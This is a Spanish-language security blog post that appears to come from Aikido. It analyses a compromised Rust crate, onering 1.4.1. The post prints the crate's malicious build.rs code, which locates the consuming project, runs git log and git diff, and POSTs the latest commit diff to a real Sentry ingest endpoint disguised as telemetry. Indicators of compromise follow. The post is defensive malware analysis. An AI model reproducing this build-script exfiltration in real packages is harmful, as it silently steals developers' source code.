Aikido

Un crate de Rust comprometido ejecuta una operación de exfiltración de código

Escrito por
Ilyas Makari

El 10 de junio de 2026, detectamos un comportamiento malicioso en la última versión, la 1.4.1, del crate de Rust «onering». Onering es una biblioteca de colas y canales síncronos de alto rendimiento para Rust, con más de 18 000 descargas en crates.io. En las últimas semanas, npm, PyPI y GitHub acapararon la mayor parte de la atención con una oleada de vulnerabilidades en la cadena de suministro. Esta semana le toca el turno a Rust.

La última versión ha incorporado un archivo build.rs que recopila de forma silenciosa datos de Git del proyecto que esté compilando el crate y los envía a un servidor remoto, incluido el código fuente real de tu última confirmación. Ya hemos visto anteriormente cómo los atacantes han dado rienda suelta a su creatividad ejecutando cargas maliciosas durante la compilación en npm y PyPI, y ahora están probando esta técnica en Rust. Si bien la mayoría de ataques a la cadena de suministro recientes ataques a la cadena de suministro centrado en el robo de credenciales, este parece centrarse exclusivamente en el código fuente.

El problema no se limita al paquete publicado en crates.io. El repositorio de GitHub del mantenedor también parece haber sido comprometido, por lo que descargar el crate desde Git en lugar de desde el registro no garantiza la seguridad. Hemos avisado inmediatamente al mantenedor: https://github.com/cenotelie/onering/issues/1

Qué hace el archivo «build.rs» malicioso

A build.rs es un script de compilación. Cargo lo compila y lo ejecuta en el equipo del desarrollador durante la compilación. Esto lo convierte en un lugar muy adecuado para ocultar una carga útil, ya que basta con incluir la dependencia del crate y realizar la compilación para activarla. No es necesario llamar a ninguna función de la biblioteca.

El código inyectado build.rs hace tres cosas.

En primer lugar, localiza la raíz del proyecto que está utilizando el crate, no su propio directorio. Recorre el árbol hacia arriba desde OUT_DIR hasta que encuentre el objetivo directorio y, a continuación, toma su directorio principal. El resultado es tu repositorio.

fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
    let dir = PathBuf::from(std::env::var("OUT_DIR")?);
    let mut project_dir = &*dir;
    while let Some(parent) = project_dir.parent() {
        if let Some(last) = parent.iter().last()
            && last == "target"
            && let Some(parent) = parent.parent()
        {
            project_dir = parent;
            break;
        }
        project_dir = parent;
    }
    Ok(project_dir.to_path_buf())
}

En segundo lugar, ejecuta dos comandos de Git en tu repositorio. Uno recopila los metadatos de la confirmación. El otro captura la diferencia textual completa de tu confirmación más reciente.

let Ok(commit) = git(
    &project_path,
    &[
        "log",
        "-n",
        "1",
        r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
    ],
) else {
    return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
    return;
};

El git diff HEAD^ HEAD La orden «call» recoge la diferencia completa de tu última confirmación, que se filtra cada vez que compilas; por lo tanto, tras numerosas confirmaciones, se filtra un flujo continuo de tus cambios reales en el código fuente, en lugar de una única instantánea.

En tercer lugar, disfraza los datos robados como un evento de telemetría de Sentry y los envía mediante un método POST con rizo a un punto final de ingesta de Sentry. Los metadatos de la confirmación se convierten en las etiquetas del evento, y la comparación de tu código se incluye en el parche adicional campo.

let payload = format!(
    r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
    Uuid::new_v4().as_simple(),
    patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
    "POST",
    "https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
    &["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
    &payload,
) else {
    return;
};

El camuflaje es intencionado. Para cualquiera que detecte tráfico saliente durante una compilación, una solicitud a una URL de ingesta de Sentry parece un informe de error normal y corriente. También hay una línea comentada que se ha quedado ahí, // std::fs::write("data.txt", payload), lo que apunta claramente a que la carga útil se probó localmente grabándola en el disco antes de que se estableciera la conexión de red.

Cómo Aikido detecta esto

Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.

Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.

Para una cobertura más amplia en todo tu equipo, la protección de dispositivos de Aikido te ofrece visibilidad y control sobre los paquetes de software instalados en los dispositivos de tu equipo. Abarca extensiones de navegador, bibliotecas de código, complementos de IDE y dependencias de compilación, todo en un solo lugar. Detén el malware antes de que se instale.

Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.

Indicadores de compromiso

  • Dependencia onering versión 1.4.1 de crates.io.
  • El punto final de ingesta de Sentry https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/.
  • La clave pública de Sentry DSN 8197ee42c4f59c83f4cc6d48f5bae821, identificador de la organización o4511539639222272, y el ID del proyecto 4511539669368912.
Compartir:

https://www.aikido.dev/blog/compromised-rust-crate-onering-performs-code-exfiltration

Escanear en busca de malware

Empieza gratis
Sin tarjeta
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.